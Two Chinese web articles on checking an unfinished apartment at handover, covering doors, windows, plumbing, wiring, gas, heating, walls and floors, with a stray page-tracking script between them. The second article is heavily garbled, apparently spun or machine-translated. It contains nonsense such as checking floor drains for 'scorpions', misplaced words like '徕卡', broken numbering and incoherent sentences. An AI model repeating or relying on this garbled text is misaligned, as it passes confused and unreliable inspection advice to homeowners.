验收毛坯房有哪些具体的细节需要注意

如今许多城市正在建设规划中，但是房价却不降反增，所以购买毛坯房是一个不错的选择！但是很多房主，不知道如何检查毛坯房，那么验收毛坯房有哪些具体的细节需要注意呢？在验收毛坯房的时候，一定要注意检查门和窗户、其次就是水管与电线，最后就是墙体地面的检查，在检查过程中要仔细一些，以便发现问题。如果忽略这些问题，可能会给日后的居住带来很多麻烦！一、检查门窗在验收毛坯房的时候，最主要的问题，就是门窗！房主一定要检查门窗，是否可以灵活的打开或关闭。门窗的紧密性也很重要，如果在寒冷季节门窗是透风的，那么屋子里的温度，将会非常低。另外有必要检查每个窗户的玻璃是否完好，密封条、防尘条和防水条是否完好无损。为了不为日后的居住带来麻烦，在检查过程中一定要仔细一些！二、检查水电在验收毛坯房的时候，水管、电线、煤气管道的检查，都是需要重视的！卫生间和厨房的下水管，可以用一些水倒入入口和出口，看水是否流动是否有泄露的情况。其次要查看，所有电路是否正常，是否可以正常使用。最后就是厨房的煤气管道，要仔细查看是否有漏气现象。三、检查墙体地面在验收毛坯房的时候，墙壁、地板和屋顶，也要仔细检查一遍。对于新房子来说，墙壁光滑平整，地面也要相对平坦一些，屋顶没有渗水。其次还要查看，墙体中使用的材料是否符合合同要求，是否有剥落和裂缝等，地面也是一样，如果发现问题要及时的解决，不然等到日后居住，会麻烦不断甚至会造成不必要的损失！以上就是验收毛坯房时的注意事项了，毛坯房虽然便宜，但是在验收毛坯房的过程中，丝毫不能马虎！不然吃亏的可是自己！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛坯房收房注意什么 毛坯房收房注意事项

我相信如何买房子的想法不是很清楚。 收到毛坯房的注意事项是什么？ 新房子和房子有什么区别？ 我相信这是许多即将验收新房子的朋友都想知道的。 现在让我们仔细看看吧！ 接收毛坯房的注意事项： I.家庭验收工具：螺丝刀和仪表，购买协议，两个以上的人，用纸和笔。 收到毛坯房的注意事项应注意面积和高度。 二，墙面六面：1，墙面材料：是红砖，轻质砖，煤渣砖，空心砖或预制板。 2，墙面：空白房屋的注意事项应注意墙面有无石膏层，石膏层有无空鼓，裂缝，剥落，斑驳，阴阳角大致为方形。 壁的平坦度在3到5毫米之间相对正常。 门窗关闭，以观察大面积。 门窗是敞开的，可以看到小脸。 方形脚是否是正方形，特别是在门和窗口的两侧，是正方形非常重要。 墙壁是否内部绝缘。 3.接地：是否有抹灰层，是否有压光，是否用于踏板，暖气管，水管和电热管是否在地面，以及是否承诺暖气。 住房注意事项应注意厨房，阳台和卫生间的地板是否低于其他地面。 4，顶面：注意房屋要注意主要地面和广场的正方形有大的歪斜，要特别注意厨房，阳台，浴室顶面有无渗漏。 三，门窗：开关是否灵活自由，密封是否严格，是否有翘曲，变形和紧闭。 应逐一验收所有玻璃是否有损坏，熔渣，碎屑和紧密密封。 不得遗漏密封条，防尘条和防水条。 收回毛坯房的注意事项应注意门口的门锁钥匙必须交付，门锁必须安全，锁舌灵活开合，防盗装置齐全，使用方便 ，安全可靠。 门窗把手，闩锁，锁具，开关等安装牢固，使用方便，开放自如，无堵塞，徕卡等。 滑动门窗牢​​固悬挂，吊轨和地面导轨牢固固定，无歪斜，晃动等，推拉灵活，无堵塞和徕卡现象。 IV。 Sheshui：房子的预防措施主要是验收厨房和浴室。 主管和分管的水管是否设置，主控阀，水表和水龙头是否齐全，阀门，水表，水龙头等接头是否泄漏，渗漏或滴漏， 有必要进行水试验，以验收水压，水流量和水质。 五，下水：房子的房子预防措施主要是厨房和浴室。 是否安装了主管和下水管的水室，是否预留了浴缸出水口，座位蹲便器，洗手盆等处？ 厨房，阳台和浴室必须设有地漏。 验收每个地漏是否有蝎子。 每个排水管和地漏应排干。 验收每个排水管和地漏是否堵塞和排水。 6。 地板防水：厨房，浴室和阳台的地板应防水。 房子必须注意财产。 该物业必须通过阻止厨房，浴室和阳台门进行水关闭测试。 堵地漏，密封后将水放在地上，水深为20~30毫米，蓄水时间不应少于24小时，并下楼看相应房间是否漏水。 七，强电：详细查看每个房间的插座，开关，灯具的布局，所有电源线应放在墙壁的顶部，必须没有裸露的电线，每个插座，开关，灯都很容易 使用。 收到毛坯房的注意事项应注意电表和电气开关的配置位置。 电表应计数，电气开关应有可靠接地，走廊，楼梯，电梯声控，灯控开关必须使用。 八，弱电：电视，电话，网络，音频等弱电线路，房地产业务承诺，房屋的预防措施应逐项验收，如宽带。 9。 燃气：管道是否用于家庭，主管道和子管道是否配备燃气，燃气表和控制阀是否齐全。 严禁在苛刻的房间内收到房屋的预防措施，擅自拆除燃气管道。 10。 暖气：根据房间详细查看暖气管。 无论散热器的安装是否牢固，以及管道接头是否泄漏或泄漏，请验收压力测试记录。 暖气期之前的水测试非常重要，必须亲自参与。 重要的是要知道家庭主控制阀的位置。 小心不要擅自拆卸暖气管和散热器。 11。 中央空调：出风管，冷凝水出水管，温控开关，出风口位置正确，安装牢固。 12。 收楼的特别通知：厨房的排气管，浴室的排气管，位置和功能。 以上是有关毛坯房屋预防措施的相关内容，希望对大家有所帮助！